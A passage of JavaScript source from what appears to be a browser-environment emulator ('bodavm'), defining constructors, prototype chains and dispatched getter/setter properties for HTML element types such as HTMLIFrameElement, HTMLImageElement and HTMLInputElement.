onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpopstate_get", arguments)}, set:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpopstate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onrejectionhandled", {configurable:true, enumerable:true, get:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onrejectionhandled_get", arguments)}, set:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onrejectionhandled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onstorage", {configurable:true, enumerable:true, get:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onstorage_get", arguments)}, set:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onstorage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onunhandledrejection", {configurable:true, enumerable:true, get:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunhandledrejection_get", arguments)}, set:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunhandledrejection_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onunload", {configurable:true, enumerable:true, get:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunload_get", arguments)}, set:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunload_set", arguments)}},'prototype'); - -// HTMLHeadElement对象 -bodavm.memory.globalobj['HTMLHeadElement'] = function HTMLHeadElement(){if (!(this instanceof HTMLHeadElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHeadElement'], "HTMLHeadElement"); -bodavm.memory.globalobj['HTMLHeadElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLHeadElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; - -// HTMLHeadingElement对象 -bodavm.memory.globalobj['HTMLHeadingElement'] = function HTMLHeadingElement(){if (!(this instanceof HTMLHeadingElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHeadingElement'], "HTMLHeadingElement"); -bodavm.memory.globalobj['HTMLHeadingElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLHeadingElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLHeadingElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHeadingElement'].prototype, "HTMLHeadingElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHeadingElement'].prototype, "HTMLHeadingElement", "align_set", arguments)}},'prototype'); - -// HTMLHRElement对象 -bodavm.memory.globalobj['HTMLHRElement'] = function HTMLHRElement(){if (!(this instanceof HTMLHRElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHRElement'], "HTMLHRElement"); -bodavm.memory.globalobj['HTMLHRElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLHRElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLHRElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLHRElement', "color", {configurable:true, enumerable:true, get:function color (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "color_get", arguments)}, set:function color (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "color_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLHRElement', "noShade", {configurable:true, enumerable:true, get:function noShade (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "noShade_get", arguments)}, set:function noShade (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "noShade_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLHRElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "size_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLHRElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "width_set", arguments)}},'prototype'); - -// HTMLHtmlElement对象 -bodavm.memory.globalobj['HTMLHtmlElement'] = function HTMLHtmlElement(){if (!(this instanceof HTMLHtmlElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHtmlElement'], "HTMLHtmlElement"); -bodavm.memory.globalobj['HTMLHtmlElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLHtmlElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLHtmlElement', "version", {configurable:true, enumerable:true, get:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHtmlElement'].prototype, "HTMLHtmlElement", "version_get", arguments)}, set:function version (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHtmlElement'].prototype, "HTMLHtmlElement", "version_set", arguments)}},'prototype'); - -// HTMLIFrameElement对象 -bodavm.memory.globalobj['HTMLIFrameElement'] = function HTMLIFrameElement(){if (!(this instanceof HTMLIFrameElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLIFrameElement'], "HTMLIFrameElement"); -bodavm.memory.globalobj['HTMLIFrameElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLIFrameElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "srcdoc", {configurable:true, enumerable:true, get:function srcdoc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "srcdoc_get", arguments)}, set:function srcdoc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "srcdoc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "sandbox", {configurable:true, enumerable:true, get:function sandbox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "sandbox_get", arguments)}, set:function sandbox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "sandbox_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allowFullscreen", {configurable:true, enumerable:true, get:function allowFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowFullscreen_get", arguments)}, set:function allowFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowFullscreen_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "contentDocument", {configurable:true, enumerable:true, get:function contentDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "contentDocument_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "contentWindow", {configurable:true, enumerable:true, get:function contentWindow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "contentWindow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "csp", {configurable:true, enumerable:true, get:function csp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "csp_get", arguments)}, set:function csp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "csp_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allow", {configurable:true, enumerable:true, get:function allow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allow_get", arguments)}, set:function allow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "featurePolicy", {configurable:true, enumerable:true, get:function featurePolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "featurePolicy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "scrolling", {configurable:true, enumerable:true, get:function scrolling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "scrolling_get", arguments)}, set:function scrolling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "scrolling_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "frameBorder", {configurable:true, enumerable:true, get:function frameBorder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "frameBorder_get", arguments)}, set:function frameBorder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "frameBorder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "longDesc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "marginHeight", {configurable:true, enumerable:true, get:function marginHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginHeight_get", arguments)}, set:function marginHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginHeight_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "marginWidth", {configurable:true, enumerable:true, get:function marginWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginWidth_get", arguments)}, set:function marginWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "marginWidth_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "getSVGDocument", {configurable:true, enumerable:true, writable:true, value:function getSVGDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "getSVGDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "loading", {configurable:true, enumerable:true, get:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "loading_get", arguments)}, set:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "loading_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "allowPaymentRequest", {configurable:true, enumerable:true, get:function allowPaymentRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowPaymentRequest_get", arguments)}, set:function allowPaymentRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "allowPaymentRequest_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLIFrameElement', "credentialless", {configurable:true, enumerable:true, get:function credentialless (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "credentialless_get", arguments)}, set:function credentialless (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLIFrameElement'].prototype, "HTMLIFrameElement", "credentialless_set", arguments)}},'prototype'); - -// HTMLImageElement对象 -bodavm.memory.globalobj['HTMLImageElement'] = function HTMLImageElement(){if (!(this instanceof HTMLImageElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLImageElement'], "HTMLImageElement"); -bodavm.memory.globalobj['HTMLImageElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLImageElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLImageElement', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "alt_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "srcset", {configurable:true, enumerable:true, get:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "srcset_get", arguments)}, set:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "srcset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "sizes_get", arguments)}, set:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "sizes_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "crossOrigin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "useMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "isMap", {configurable:true, enumerable:true, get:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "isMap_get", arguments)}, set:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "isMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "naturalWidth", {configurable:true, enumerable:true, get:function naturalWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "naturalWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "naturalHeight", {configurable:true, enumerable:true, get:function naturalHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "naturalHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "complete", {configurable:true, enumerable:true, get:function complete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "complete_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "currentSrc", {configurable:true, enumerable:true, get:function currentSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "currentSrc_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "decoding", {configurable:true, enumerable:true, get:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decoding_get", arguments)}, set:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decoding_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "lowsrc", {configurable:true, enumerable:true, get:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "lowsrc_get", arguments)}, set:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "lowsrc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "hspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "vspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "longDesc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "border", {configurable:true, enumerable:true, get:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "border_get", arguments)}, set:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "border_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "fetchPriority_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "loading", {configurable:true, enumerable:true, get:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "loading_get", arguments)}, set:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "loading_set", arguments)}},'prototype'); - -// HTMLInputElement对象 -bodavm.memory.globalobj['HTMLInputElement'] = function HTMLInputElement(){if (!(this instanceof HTMLInputElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLInputElement'], "HTMLInputElement"); -bodavm.memory.globalobj['HTMLInputElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLInputElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLInputElement', "accept", {configurable:true, enumerable:true, get:function accept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "accept_get", arguments)}, set:function accept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "accept_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "alt_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return 